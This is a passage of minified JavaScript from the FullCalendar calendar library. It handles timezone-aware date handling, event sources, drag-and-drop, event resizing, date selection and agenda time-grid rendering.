e+(t.el?t.el.outerHeight(!0):0)}),0)},e.prototype.select=function(e,t){this.view.select(this.buildSelectFootprint.apply(this,arguments))},e.prototype.unselect=function(){this.view&&this.view.unselect()},e.prototype.buildSelectFootprint=function(e,t){var n,r=this.moment(e).stripZone();return n=t?this.moment(t).stripZone():r.hasTime()?r.clone().add(this.defaultTimedEventDuration):r.clone().add(this.defaultAllDayEventDuration),new v.default(new y.default(r,n),!r.hasTime())},e.prototype.initMomentInternals=function(){var e=this;this.defaultAllDayEventDuration=o.duration(this.opt("defaultAllDayEventDuration")),this.defaultTimedEventDuration=o.duration(this.opt("defaultTimedEventDuration")),this.optionsManager.watch("buildingMomentLocale",["?locale","?monthNames","?monthNamesShort","?dayNames","?dayNamesShort","?firstDay","?weekNumberCalculation"],(function(t){var n,r=t.weekNumberCalculation,o=t.firstDay;"iso"===r&&(r="ISO");var i=Object.create(m.getMomentLocaleData(t.locale));t.monthNames&&(i._months=t.monthNames),t.monthNamesShort&&(i._monthsShort=t.monthNamesShort),t.dayNames&&(i._weekdays=t.dayNames),t.dayNamesShort&&(i._weekdaysShort=t.dayNamesShort),null==o&&"ISO"===r&&(o=1),null!=o&&((n=Object.create(i._week)).dow=o,i._week=n),"ISO"!==r&&"local"!==r&&"function"!=typeof r||(i._fullCalendar_weekCalc=r),e.localeData=i,e.currentDate&&e.localizeMoment(e.currentDate)}))},e.prototype.moment=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return"local"===this.opt("timezone")?(e=g.default.apply(null,t)).hasTime()&&e.local():e="UTC"===this.opt("timezone")?g.default.utc.apply(null,t):g.default.parseZone.apply(null,t),this.localizeMoment(e),e},e.prototype.msToMoment=function(e,t){var n=g.default.utc(e);return t?n.stripTime():n=this.applyTimezone(n),this.localizeMoment(n),n},e.prototype.msToUtcMoment=function(e,t){var n=g.default.utc(e);return t&&n.stripTime(),this.localizeMoment(n),n},e.prototype.localizeMoment=function(e){e._locale=this.localeData},e.prototype.getIsAmbigTimezone=function(){return"local"!==this.opt("timezone")&&"UTC"!==this.opt("timezone")},e.prototype.applyTimezone=function(e){if(!e.hasTime())return e.clone();var t,n=this.moment(e.toArray()),r=e.time().asMilliseconds()-n.time().asMilliseconds();return r&&(t=n.clone().add(r),e.time().asMilliseconds()-t.time().asMilliseconds()==0&&(n=t)),n},e.prototype.footprintToDateProfile=function(e,t){void 0===t&&(t=!1);var n,r=g.default.utc(e.unzonedRange.startMs);return t||(n=g.default.utc(e.unzonedRange.endMs)),e.isAllDay?(r.stripTime(),n&&n.stripTime()):(r=this.applyTimezone(r),n&&(n=this.applyTimezone(n))),this.localizeMoment(r),n&&this.localizeMoment(n),new _.default(r,n,this)},e.prototype.getNow=function(){var e=this.opt("now");return"function"==typeof e&&(e=e()),this.moment(e).stripZone()},e.prototype.humanizeDuration=function(e){return e.locale(this.opt("locale")).humanize()},e.prototype.parseUnzonedRange=function(e){var t=null,n=null;return e.start&&(t=this.moment(e.start).stripZone()),e.end&&(n=this.moment(e.end).stripZone()),t||n?t&&n&&n.isBefore(t)?null:new y.default(t,n):null},e.prototype.initEventManager=function(){var e=this,t=new b.default(this),n=this.opt("eventSources")||[],r=this.opt("events");this.eventManager=t,r&&n.unshift(r),t.on("release",(function(t){e.trigger("eventsReset",t)})),t.freeze(),n.forEach((function(n){var r=D.default.parse(n,e);r&&t.addSource(r)})),t.thaw()},e.prototype.requestEvents=function(e,t){return this.eventManager.requestEvents(e,t,this.opt("timezone"),!this.opt("lazyFetching"))},e.prototype.getEventEnd=function(e){return e.end?e.end.clone():this.getDefaultEventEnd(e.allDay,e.start)},e.prototype.getDefaultEventEnd=function(e,t){var n=t.clone();return e?n.stripTime().add(this.defaultAllDayEventDuration):n.add(this.defaultTimedEventDuration),this.getIsAmbigTimezone()&&n.stripZone(),n},e.prototype.rerenderEvents=function(){this.view.flash("displayingEvents")},e.prototype.refetchEvents=function(){this.eventManager.refetchAllSources()},e.prototype.renderEvents=function(e,t){this.eventManager.freeze();for(var n=0;n<e.length;n++)this.renderEvent(e[n],t);this.eventManager.thaw()},e.prototype.renderEvent=function(e,t){void 0===t&&(t=!1);var n=this.eventManager,r=w.default.parse(e,e.source||n.stickySource);r&&n.addEventDef(r,t)},e.prototype.removeEvents=function(e){var t,n=this.eventManager,r=[],o={};if(null==e)n.removeAllEventDefs();else{for(n.getEventInstances().forEach((function(e){r.push(e.toLegacy())})),r=C(r,e),t=0;t<r.length;t++)o[this.eventManager.getEventDefByUid(r[t]._id).id]=!0;for(t in n.freeze(),o)n.removeEventDefsById(t);n.thaw()}},e.prototype.clientEvents=function(e){var t=[];return this.eventManager.getEventInstances().forEach((function(e){t.push(e.toLegacy())})),C(t,e)},e.prototype.updateEvents=function(e){this.eventManager.freeze();for(var t=0;t<e.length;t++)this.updateEvent(e[t]);this.eventManager.thaw()},e.prototype.updateEvent=function(e){var t,n,r=this.eventManager.getEventDefByUid(e._id);r instanceof T.default&&(t=r.buildInstance(),n=S.default.createFromRawProps(t,e,null),this.eventManager.mutateEventsWithId(r.id,n))},e.prototype.getEventSources=function(){return this.eventManager.otherSources.slice()},e.prototype.getEventSourceById=function(e){return this.eventManager.getSourceById(x.default.normalizeId(e))},e.prototype.addEventSource=function(e){var t=D.default.parse(e,this);t&&this.eventManager.addSource(t)},e.prototype.removeEventSources=function(e){var t,n,r=this.eventManager;if(null==e)this.eventManager.removeAllSources();else{for(t=r.multiQuerySources(e),r.freeze(),n=0;n<t.length;n++)r.removeSource(t[n]);r.thaw()}},e.prototype.removeEventSource=function(e){var t,n=this.eventManager,r=n.querySources(e);for(n.freeze(),t=0;t<r.length;t++)n.removeSource(r[t]);n.thaw()},e.prototype.refetchEventSources=function(e){var t,n=this.eventManager,r=n.multiQuerySources(e);for(n.freeze(),t=0;t<r.length;t++)n.refetchSource(r[t]);n.thaw()},e.defaults=s.globalDefaults,e.englishDefaults=s.englishDefaults,e.rtlDefaults=s.rtlDefaults,e}();function C(e,t){return null==t?e:r.isFunction(t)?e.filter(t):(t+="",e.filter((function(e){return e.id==t||e._id===t})))}t.default=L,u.default.mixInto(L),d.default.mixInto(L)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(0),s=n(18),a=n(4),l=n(11),u=n(7),d=n(17),c=n(9),p=n(20),h=n(6),f=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.isDragging=!1,t}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.bindToDocument=function(){this.listenTo(o(document),{dragstart:this.handleDragStart,sortstart:this.handleDragStart})},t.prototype.unbindFromDocument=function(){this.stopListeningTo(o(document))},t.prototype.handleDragStart=function(e,t){var n,r;this.opt("droppable")&&(n=o((t?t.item:null)||e.target),r=this.opt("dropAccept"),(o.isFunction(r)?r.call(n[0],n):n.is(r))&&(this.isDragging||this.listenToExternalDrag(n,e,t)))},t.prototype.listenToExternalDrag=function(e,t,n){var r,l=this,u=this.component,c=this.view,h=function(e){var t,n,r,a,l=s.dataAttrPrefix;return l&&(l+="-"),(t=e.data(l+"event")||null)&&(t="object"==typeof t?o.extend({},t):{},null==(n=t.start)&&(n=t.time),r=t.duration,a=t.stick,delete t.start,delete t.time,delete t.duration,delete t.stick),null==n&&(n=e.data(l+"start")),null==n&&(n=e.data(l+"time")),null==r&&(r=e.data(l+"duration")),null==a&&(a=e.data(l+"stick")),n=null!=n?i.duration(n):null,r=null!=r?i.duration(r):null,a=Boolean(a),{eventProps:t,startTime:n,duration:r,stick:a}}(e);(this.dragListener=new d.default(u,{interactionStart:function(){l.isDragging=!0},hitOver:function(e){var t,n=!0,o=e.component.getSafeHitFootprint(e);o&&(r=l.computeExternalDrop(o,h))?(t=new p.default(r.buildInstances()),n=h.eventProps?u.isEventInstanceGroupAllowed(t):u.isExternalInstanceGroupAllowed(t)):n=!1,n||(r=null,a.disableCursor()),r&&u.renderDrag(u.eventRangesToEventFootprints(t.sliceRenderRanges(u.dateProfile.renderUnzonedRange,c.calendar)))},hitOut:function(){r=null},hitDone:function(){a.enableCursor(),u.unrenderDrag()},interactionEnd:function(t){r&&c.reportExternalDrop(r,Boolean(h.eventProps),Boolean(h.stick),e,t,n),l.isDragging=!1,l.dragListener=null}})).startDrag(t)},t.prototype.computeExternalDrop=function(e,t){var n,r=this.view.calendar,i=l.default.utc(e.unzonedRange.startMs).stripZone();return e.isAllDay&&(t.startTime?i.time(t.startTime):i.stripTime()),t.duration&&(n=i.clone().add(t.duration)),i=r.applyTimezone(i),n&&(n=r.applyTimezone(n)),c.default.parse(o.extend({},t.eventProps,{start:i,end:n}),new h.default(r))},t}(n(14).default);t.default=f,u.default.mixInto(f),s.dataAttrPrefix=""},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(39),a=n(40),l=n(17),u=function(e){function t(t,n){var r=e.call(this,t)||this;return r.isResizing=!1,r.eventPointing=n,r}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"mousedown",this.handleMouseDown.bind(this)),t.bindSegHandlerToEl(e,"touchstart",this.handleTouchStart.bind(this))},t.prototype.handleMouseDown=function(e,t){this.component.canStartResize(e,t)&&this.buildDragListener(e,o(t.target).is(".fc-start-resizer")).startInteraction(t,{distance:5})},t.prototype.handleTouchStart=function(e,t){this.component.canStartResize(e,t)&&this.buildDragListener(e,o(t.target).is(".fc-start-resizer")).startInteraction(t)},t.prototype.buildDragListener=function(e,t){var n,r,o=this,s=this.component,a=this.view,u=a.calendar,d=u.eventManager,c=e.el,p=e.footprint.eventDef,h=e.footprint.eventInstance;return this.dragListener=new l.default(s,{scroll:this.opt("dragScroll"),subjectEl:c,interactionStart:function(){n=!1},dragStart:function(t){n=!0,o.eventPointing.handleMouseout(e,t),o.segResizeStart(e,t)},hitOver:function(n,l,c){var h,f=!0,m=s.getSafeHitFootprint(c),g=s.getSafeHitFootprint(n);m&&g&&(r=t?o.computeEventStartResizeMutation(m,g,e.footprint):o.computeEventEndResizeMutation(m,g,e.footprint))?(h=d.buildMutatedEventInstanceGroup(p.id,r),f=s.isEventInstanceGroupAllowed(h)):f=!1,f?r.isEmpty()&&(r=null):(r=null,i.disableCursor()),r&&(a.hideEventsWithId(e.footprint.eventDef.id),a.renderEventResize(s.eventRangesToEventFootprints(h.sliceRenderRanges(s.dateProfile.renderUnzonedRange,u)),e))},hitOut:function(){r=null},hitDone:function(){a.unrenderEventResize(e),a.showEventsWithId(e.footprint.eventDef.id),i.enableCursor()},interactionEnd:function(t){n&&o.segResizeStop(e,t),r&&a.reportEventResize(h,r,c,t),o.dragListener=null}})},t.prototype.segResizeStart=function(e,t){this.isResizing=!0,this.component.publiclyTrigger("eventResizeStart",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.segResizeStop=function(e,t){this.isResizing=!1,this.component.publiclyTrigger("eventResizeStop",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.computeEventStartResizeMutation=function(e,t,n){var r,o,i=n.componentFootprint.unzonedRange,l=this.component.diffDates(t.unzonedRange.getStart(),e.unzonedRange.getStart());return i.getStart().add(l)<i.getEnd()&&((r=new a.default).setStartDelta(l),(o=new s.default).setDateMutation(r),o)},t.prototype.computeEventEndResizeMutation=function(e,t,n){var r,o,i=n.componentFootprint.unzonedRange,l=this.component.diffDates(t.unzonedRange.getEnd(),e.unzonedRange.getEnd());return i.getEnd().add(l)>i.getStart()&&((r=new a.default).setEndDelta(l),(o=new s.default).setDateMutation(r),o)},t}(n(14).default);t.default=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=n(39),s=n(40),a=n(59),l=n(17),u=n(226),d=function(e){function t(t,n){var r=e.call(this,t)||this;return r.isDragging=!1,r.eventPointing=n,r}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.getSelectionDelay=function(){var e=this.opt("eventLongPressDelay");return null==e&&(e=this.opt("longPressDelay")),e},t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"mousedown",this.handleMousedown.bind(this)),t.bindSegHandlerToEl(e,"touchstart",this.handleTouchStart.bind(this))},t.prototype.handleMousedown=function(e,t){!this.component.shouldIgnoreMouse()&&this.component.canStartDrag(e,t)&&this.buildDragListener(e).startInteraction(t,{distance:5})},t.prototype.handleTouchStart=function(e,t){var n=this.component,r={delay:this.view.isEventDefSelected(e.footprint.eventDef)?0:this.getSelectionDelay()};n.canStartDrag(e,t)?this.buildDragListener(e).startInteraction(t,r):n.canStartSelection(e,t)&&this.buildSelectListener(e).startInteraction(t,r)},t.prototype.buildSelectListener=function(e){var t=this,n=this.view,r=e.footprint.eventDef,o=e.footprint.eventInstance;if(this.dragListener)return this.dragListener;var i=this.dragListener=new a.default({dragStart:function(e){i.isTouch&&!n.isEventDefSelected(r)&&o&&n.selectEventInstance(o)},interactionEnd:function(e){t.dragListener=null}});return i},t.prototype.buildDragListener=function(e){var t,n,r,i=this,s=this.component,a=this.view,d=a.calendar,c=d.eventManager,p=e.el,h=e.footprint.eventDef,f=e.footprint.eventInstance;if(this.dragListener)return this.dragListener;var m=this.dragListener=new l.default(a,{scroll:this.opt("dragScroll"),subjectEl:p,subjectCenter:!0,interactionStart:function(r){e.component=s,t=!1,(n=new u.default(e.el,{additionalClass:"fc-dragging",parentEl:a.el,opacity:m.isTouch?null:i.opt("dragOpacity"),revertDuration:i.opt("dragRevertDuration"),zIndex:2})).hide(),n.start(r)},dragStart:function(n){m.isTouch&&!a.isEventDefSelected(h)&&f&&a.selectEventInstance(f),t=!0,i.eventPointing.handleMouseout(e,n),i.segDragStart(e,n),a.hideEventsWithId(e.footprint.eventDef.id)},hitOver:function(t,l,u){var p,f,g,y=!0;e.hit&&(u=e.hit),p=u.component.getSafeHitFootprint(u),f=t.component.getSafeHitFootprint(t),p&&f&&(r=i.computeEventDropMutation(p,f,h))?(g=c.buildMutatedEventInstanceGroup(h.id,r),y=s.isEventInstanceGroupAllowed(g)):y=!1,y||(r=null,o.disableCursor()),r&&a.renderDrag(s.eventRangesToEventFootprints(g.sliceRenderRanges(s.dateProfile.renderUnzonedRange,d)),e,m.isTouch)?n.hide():n.show(),l&&(r=null)},hitOut:function(){a.unrenderDrag(e),n.show(),r=null},hitDone:function(){o.enableCursor()},interactionEnd:function(o){delete e.component,n.stop(!r,(function(){t&&(a.unrenderDrag(e),i.segDragStop(e,o)),a.showEventsWithId(e.footprint.eventDef.id),r&&a.reportEventDrop(f,r,p,o)})),i.dragListener=null}});return m},t.prototype.segDragStart=function(e,t){this.isDragging=!0,this.component.publiclyTrigger("eventDragStart",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.segDragStop=function(e,t){this.isDragging=!1,this.component.publiclyTrigger("eventDragStop",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.computeEventDropMutation=function(e,t,n){var r=new i.default;return r.setDateMutation(this.computeEventDateMutation(e,t)),r},t.prototype.computeEventDateMutation=function(e,t){var n,r,o=e.unzonedRange.getStart(),i=t.unzonedRange.getStart(),a=!1,l=!1,u=!1;return e.isAllDay!==t.isAllDay&&(a=!0,t.isAllDay?(u=!0,o.stripTime()):l=!0),n=this.component.diffDates(i,o),(r=new s.default).clearEnd=a,r.forceTimed=l,r.forceAllDay=u,r.setDateDelta(n),r},t}(n(14).default);t.default=d},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=n(17),s=n(12),a=n(5),l=function(e){function t(t){var n=e.call(this,t)||this;return n.dragListener=n.buildDragListener(),n}return r.__extends(t,e),t.prototype.end=function(){this.dragListener.endInteraction()},t.prototype.getDelay=function(){var e=this.opt("selectLongPressDelay");return null==e&&(e=this.opt("longPressDelay")),e},t.prototype.bindToEl=function(e){var t=this,n=this.component,r=this.dragListener;n.bindDateHandlerToEl(e,"mousedown",(function(e){t.opt("selectable")&&!n.shouldIgnoreMouse()&&r.startInteraction(e,{distance:t.opt("selectMinDistance")})})),n.bindDateHandlerToEl(e,"touchstart",(function(e){t.opt("selectable")&&!n.shouldIgnoreTouch()&&r.startInteraction(e,{delay:t.getDelay()})})),o.preventSelection(e)},t.prototype.buildDragListener=function(){var e,t=this,n=this.component;return new i.default(n,{scroll:this.opt("dragScroll"),interactionStart:function(){e=null},dragStart:function(e){t.view.unselect(e)},hitOver:function(r,i,s){var a,l;s&&(a=n.getSafeHitFootprint(s),l=n.getSafeHitFootprint(r),(e=a&&l?t.computeSelection(a,l):null)?n.renderSelectionFootprint(e):!1===e&&o.disableCursor())},hitOut:function(){e=null,n.unrenderSelection()},hitDone:function(){o.enableCursor()},interactionEnd:function(n,r){!r&&e&&t.view.reportSelection(e,n)}})},t.prototype.computeSelection=function(e,t){var n=this.computeSelectionFootprint(e,t);return!(n&&!this.isSelectionFootprintAllowed(n))&&n},t.prototype.computeSelectionFootprint=function(e,t){var n=[e.unzonedRange.startMs,e.unzonedRange.endMs,t.unzonedRange.startMs,t.unzonedRange.endMs];return n.sort(o.compareNumbers),new s.default(new a.default(n[0],n[3]),e.isAllDay)},t.prototype.isSelectionFootprintAllowed=function(e){return this.component.dateProfile.validUnzonedRange.containsRange(e.unzonedRange)&&this.view.calendar.constraints.isSelectionFootprintAllowed(e)},t}(n(14).default);t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(17),i=function(e){function t(t){var n=e.call(this,t)||this;return n.dragListener=n.buildDragListener(),n}return r.__extends(t,e),t.prototype.end=function(){this.dragListener.endInteraction()},t.prototype.bindToEl=function(e){var t=this.component,n=this.dragListener;t.bindDateHandlerToEl(e,"mousedown",(function(e){t.shouldIgnoreMouse()||n.startInteraction(e)})),t.bindDateHandlerToEl(e,"touchstart",(function(e){t.shouldIgnoreTouch()||n.startInteraction(e)}))},t.prototype.buildDragListener=function(){var e,t=this,n=this.component,r=new o.default(n,{scroll:this.opt("dragScroll"),interactionStart:function(){e=r.origHit},hitOver:function(t,n,r){n||(e=null)},hitOut:function(){e=null},interactionEnd:function(r,o){var i;!o&&e&&(i=n.getSafeHitFootprint(e))&&t.view.triggerDayClick(i,n.getHitEl(e),r)}});return r.shouldCancelTouchScroll=!1,r.scrollAlwaysKills=!0,r},t}(n(14).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r,o,i=n(2),s=n(0),a=n(3),l=n(4),u=n(41),d=n(43),c=n(239),p=n(66),h=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.usesMinMaxTime=!0,r.timeGrid=r.instantiateTimeGrid(),r.addChild(r.timeGrid),r.opt("allDaySlot")&&(r.dayGrid=r.instantiateDayGrid(),r.addChild(r.dayGrid)),r.scroller=new u.default({overflowX:"hidden",overflowY:"auto"}),r}return i.__extends(t,e),t.prototype.instantiateTimeGrid=function(){var e=new this.timeGridClass(this);return l.copyOwnProps(r,e),e},t.prototype.instantiateDayGrid=function(){var e=new this.dayGridClass(this);return l.copyOwnProps(o,e),e},t.prototype.renderSkeleton=function(){var e,t;this.el.addClass("fc-agenda-view").html(this.renderSkeletonHtml()),this.scroller.render(),e=this.scroller.el.addClass("fc-time-grid-container"),t=a('<div class="fc-time-grid">').appendTo(e),this.el.find(".fc-body > tr > td").append(e),this.timeGrid.headContainerEl=this.el.find(".fc-head-container"),this.timeGrid.setElement(t),this.dayGrid&&(this.dayGrid.setElement(this.el.find(".fc-day-grid")),this.dayGrid.bottomCoordPadding=this.dayGrid.el.next("hr").outerHeight())},t.prototype.unrenderSkeleton=function(){this.timeGrid.removeElement(),this.dayGrid&&this.dayGrid.removeElement(),this.scroller.destroy()},t.prototype.renderSkeletonHtml=function(){var e=this.calendar.theme;return'<table class="'+e.getClass("tableGrid")+'">'+(this.opt("columnHeader")?'<thead class="fc-head"><tr><td class="fc-head-container '+e.getClass("widgetHeader")+'">&nbsp;</td></tr></thead>':"")+'<tbody class="fc-body"><tr><td class="'+e.getClass("widgetContent")+'">'+(this.dayGrid?'<div class="fc-day-grid"></div><hr class="fc-divider '+e.getClass("widgetHeader")+'"></hr>':"")+"</td></tr></tbody></table>"},t.prototype.axisStyleAttr=function(){return null!=this.axisWidth?'style="width:'+this.axisWidth+'px"':""},t.prototype.getNowIndicatorUnit=function(){return this.timeGrid.getNowIndicatorUnit()},t.prototype.updateSize=function(t,n,r){var o,i,s;if(e.prototype.updateSize.call(this,t,n,r),this.axisWidth=l.matchCellWidths(this.el.find(".fc-axis")),this.timeGrid.colEls){var a=this.el.find(".fc-row:not(.fc-scroller *)");this.timeGrid.bottomRuleEl.hide(),this.scroller.clear(),l.uncompensateScroll(a),this.dayGrid&&(this.dayGrid.removeSegPopover(),(o=this.opt("eventLimit"))&&"number"!=typeof o&&(o=5),o&&this.dayGrid.limitRows(o)),n||(i=this.computeScrollerHeight(t),this.scroller.setHeight(i),((s=this.scroller.getScrollbarWidths()).left||s.right)&&(l.compensateScroll(a,s),i=this.computeScrollerHeight(t),this.scroller.setHeight(i)),this.scroller.lockOverflow(s),this.timeGrid.getTotalSlatHeight()<i&&this.timeGrid.bottomRuleEl.show())}else n||(i=this.computeScrollerHeight(t),this.scroller.setHeight(i))},t.prototype.computeScrollerHeight=function(e){return e-l.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.computeInitialDateScroll=function(){var e=s.duration(this.opt("scrollTime")),t=this.timeGrid.computeTimeTop(e);return(t=Math.ceil(t))&&t++,{top:t}},t.prototype.queryDateScroll=function(){return{top:this.scroller.getScrollTop()}},t.prototype.applyDateScroll=function(e){void 0!==e.top&&this.scroller.setScrollTop(e.top)},t.prototype.getHitFootprint=function(e){return e.component.getHitFootprint(e)},t.prototype.getHitEl=function(e){return e.component.getHitEl(e)},t.prototype.executeEventRender=function(e){var t,n,r={},o={};for(t in e)(n=e[t]).getEventDef().isAllDay()?r[t]=n:o[t]=n;this.timeGrid.executeEventRender(o),this.dayGrid&&this.dayGrid.executeEventRender(r)},t.prototype.renderDrag=function(e,t,n){var r=f(e),o=!1;return o=this.timeGrid.renderDrag(r.timed,t,n),this.dayGrid&&(o=this.dayGrid.renderDrag(r.allDay,t,n)||o),o},t.prototype.renderEventResize=function(e,t,n){var r=f(e);this.timeGrid.renderEventResize(r.timed,t,n),this.dayGrid&&this.dayGrid.renderEventResize(r.allDay,t,n)},t.prototype.renderSelectionFootprint=function(e){e.isAllDay?this.dayGrid&&this.dayGrid.renderSelectionFootprint(e):this.timeGrid.renderSelectionFootprint(e)},t}(d.default);function f(e){var t,n=[],r=[];for(t=0;t<e.length;t++)e[t].componentFootprint.isAllDay?n.push(e[t]):r.push(e[t]);return{allDay:n,timed:r}}t.default=h,h.prototype.timeGridClass=c.default,h.prototype.dayGridClass=p.default,r={renderHeadIntroHtml:function(){var e,t=this.view,n=t.calendar,r=n.msToUtcMoment(this.dateProfile.renderUnzonedRange.startMs,!0);return this.opt("weekNumbers")?(e=r.format(this.opt("smallWeekFormat")),'<th class="fc-axis fc-week-number '+n.theme.getClass("widgetHeader")+'" '+t.axisStyleAttr()+">"+t.buildGotoAnchorHtml({date:r,type:"week",forceOff:this.colCnt>1},l.htmlEscape(e))+"</th>"):'<th class="fc-axis '+n.theme.getClass("widgetHeader")+'" '+t.axisStyleAttr()+"></th>"},renderBgIntroHtml:function(){var e=this.view;return'<td class="fc-axis '+e.calendar.theme.getClass("widgetContent")+'" '+e.axisStyleAttr()+"></td>"},renderIntroHtml:function(){return'<td class="fc-axis" '+this.view.axisStyleAttr()+"></td>"}},o={renderBgIntroHtml:function(){var e=this.view;return'<td class="fc-axis '+e.calendar.theme.getClass("widgetContent")+'" '+e.axisStyleAttr()+"><span>"+e.getAllDayHtml()+"</span></td>"},renderIntroHtml:function(){return'<td class="fc-axis" '+this.view.axisStyleAttr()+"></td>"}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(0),s=n(4),a=n(42),l=n(61),u=n(65),d=n(60),c=n(58),p=n(5),h=n(12),f=n(240),m=n(241),g=n(242),y=[{hours:1},{minutes:30},{minutes:15},{seconds:30},{seconds:15}],v=function(e){function t(t){var n=e.call(this,t)||this;return n.processOptions(),n}return r.__extends(t,e),t.prototype.componentFootprintToSegs=function(e){var t,n=this.sliceRangeByTimes(e.unzonedRange);for(t=0;t<n.length;t++)this.isRTL?n[t].col=this.daysPerRow-1-n[t].dayIndex:n[t].col=n[t].dayIndex;return n},t.prototype.sliceRangeByTimes=function(e){var t,n,r=[];for(n=0;n<this.daysPerRow;n++)(t=e.intersect(this.dayRanges[n]))&&r.push({startMs:t.startMs,endMs:t.endMs,isStart:t.isStart,isEnd:t.isEnd,dayIndex:n});return r},t.prototype.processOptions=function(){var e,t=this.opt("slotDuration"),n=this.opt("snapDuration");t=i.duration(t),n=n?i.duration(n):t,this.slotDuration=t,this.snapDuration=n,this.snapsPerSlot=t/n,e=this.opt("slotLabelFormat"),o.isArray(e)&&(e=e[e.length-1]),this.labelFormat=e||this.opt("smallTimeFormat"),e=this.opt("slotLabelInterval"),this.labelInterval=e?i.duration(e):this.computeLabelInterval(t)},t.prototype.computeLabelInterval=function(e){var t,n,r;for(t=y.length-1;t>=0;t--)if(n=i.duration(y[t]),r=s.divideDurationByDuration(n,e),s.isInt(r)&&r>1)return n;return i.duration(e)},t.prototype.renderDates=function(e){this.dateProfile=e,this.updateDayTable(),this.renderSlats(),this.renderColumns()},t.prototype.unrenderDates=function(){this.unrenderColumns()},t.prototype.renderSkeleton=function(){var e=this.view.calendar.theme;this.el.html('<div class="fc-bg"></div><div class="fc-slats"></div><hr class="fc-divider '+e.getClass("widgetHeader")+'" style="display:none"></hr>'),this.bottomRuleEl=this.el.find("hr")},t.prototype.renderSlats=function(){var e=this.view.calendar.theme;this.slatContainerEl=this.el.find("> .fc-slats").html('<table class="'+e.getClass("tableGrid")+'">'+this.renderSlatRowHtml()+"</table>"),this.slatEls=this.slatContainerEl.find("tr"),this.slatCoordCache=new c.default({els:this.slatEls,isVertical:!0})},t.prototype.renderSlatRowHtml=function(){for(var e,t,n,r=this.view,o=r.calendar,a=o.theme,l=this.isRTL,u=this.dateProfile,d="",c=i.duration(+u.minTime),p=i.duration(0);c<u.maxTime;)e=o.msToUtcMoment(u.renderUnzonedRange.startMs).time(c),t=s.isInt(s.divideDurationByDuration(p,this.labelInterval)),n='<td class="fc-axis fc-time '+a.getClass("widgetContent")+'" '+r.axisStyleAttr()+">"+(t?"<span>"+s.htmlEscape(e.format(this.labelFormat))+"</span>":"")+"</td>",d+='<tr data-time="'+e.format("HH:mm:ss")+'"'+(t?"":' class="fc-minor"')+">"+(l?"":n)+'<td class="'+a.getClass("widgetContent")+'"></td>'+(l?n:"")+"</tr>",c.add(this.slotDuration),p.add(this.slotDuration);return d},t.prototype.renderColumns=function(){var e=this.dateProfile,t=this.view.calendar.theme;this.dayRanges=this.dayDates.map((function(t){return new p.default(t.clone().add(e.minTime),t.clone().add(e.maxTime))})),this.headContainerEl&&this.headContainerEl.html(this.renderHeadHtml()),this.el.find("> .fc-bg").html('<table class="'+t.getClass("tableGrid")+'">'+this.renderBgTrHtml(0)+"</table>"),this.colEls=this.el.find(".fc-day, .fc-disabled-day"),this.colCoordCache=new c.default({els:this.colEls,isHorizontal:!0}),this.renderContentSkeleton()},t.prototype.unrenderColumns=function(){this.unrenderContentSkeleton()},t.prototype.renderContentSkeleton=function(){var e,t,n="";for(e=0;e<this.colCnt;e++)n+='<td><div class="fc-content-col"><div class="fc-event-container fc-helper-container"></div><div class="fc-event-container"></div><div class="fc-highlight-container"></div><div class="fc-bgevent-container"></div><div class="fc-business-container"></div></div></td>';t=this.contentSkeletonEl=o('<div class="fc-content-skeleton"><table><tr>'+n+"</tr></table></div>"),this.colContainerEls=t.find(".fc-content-col"),this.helperContainerEls=t.find(".fc-helper-container"),this.fgContainerEls=t.find(".fc-event-container:not(.fc-helper-container)"),this.bgContainerEls=t.find(".fc-bgevent-container"),this.highlightContainerEls=t.find(".fc-highlight-container"),this.businessContainerEls=t.find(".fc-business-container"),this.bookendCells(t.find("tr")),this.el.append(t)},t.prototype.unrenderContentSkeleton=function(){this.contentSkeletonEl&&(this.contentSkeletonEl.remove(),this.contentSkeletonEl=null,this.colContainerEls=null,this.helperContainerEls=null,this.fgContainerEls=null,this.bgContainerEls=null,this.highlightContainerEls=null,this.businessContainerEls=null)},t.prototype.groupSegsByCol=function(e){var t,n=[];for(t=0;t<this.colCnt;t++)n.push([]);for(t=0;t<e.length;t++)n[e[t].col].push(e[t]);return n},t.prototype.attachSegsByCol=function(e,t){var n,r,o;for(n=0;n<this.colCnt;n++)for(r=e[n],o=0;o<r.length;o++)t.eq(n).append(r[o].el)},t.prototype.getNowIndicatorUnit=function(){return"minute"},t.prototype.renderNowIndicator=function(e){if(this.colContainerEls){var t,n=this.componentFootprintToSegs(new h.default(new p.default(e,e.valueOf()+1),!1)),r=this.computeDateTop(e,e),i=[];for(t=0;t<n.length;t++)i.push(o('<div class="fc-now-indicator fc-now-indicator-line"></div>').css("top",r).appendTo(this.colContainerEls.eq(n[t].col))[0]);n.length>0&&i.push(o('<div class="fc-now-indicator 